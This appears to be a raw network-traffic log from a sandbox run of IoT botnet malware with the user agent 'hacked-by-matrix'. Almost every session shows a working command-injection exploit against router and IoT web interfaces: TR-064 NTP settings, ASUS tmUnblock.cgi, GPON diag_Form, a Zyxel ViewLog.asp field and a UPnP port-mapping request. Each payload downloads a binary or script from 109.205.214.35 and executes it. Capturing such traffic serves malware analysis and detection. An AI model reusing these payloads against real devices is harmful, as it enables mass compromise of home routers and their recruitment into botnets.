Mar 21, 2024 05:17:25.166435003 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:25.381620884 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.23	53490	172.64.136.162	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.208549976 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:25.482559919 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:25.789690971 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.23	53036	172.65.36.228	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.208590984 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:25.483002901 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.23	42908	172.67.27.147	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.208642960 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:25.482816935 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:25.789686918 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.23	33414	86.160.181.196	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.208679914 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:29.341089010 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.23	48706	27.235.90.198	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.322009087 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.23	48856	27.235.90.198	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:25.616051912 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:27.133485079 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.23	33136	107.164.218.232	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.275928020 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:27.133486986 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:27.287362099 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:24 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.23	45582	178.79.177.229	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.305223942 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.165383101 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.322520971 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.22.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 46 46 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 4b e7 45 d2 a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzFFzIy%jaC]KE0
Mar 21, 2024 05:17:27.322590113 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:27 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.23	37128	80.209.10.133	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.327846050 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:26.505599022 CET	376	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 05:11:20 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Mar 21, 2024 05:17:27.045126915 CET	376	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 05:11:20 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.23	46262	169.150.208.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.327905893 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.23	49536	94.121.46.109	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:26.349433899 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.23	43106	83.132.227.0	80

Timestamp	Bytes transferred	Direction	Data
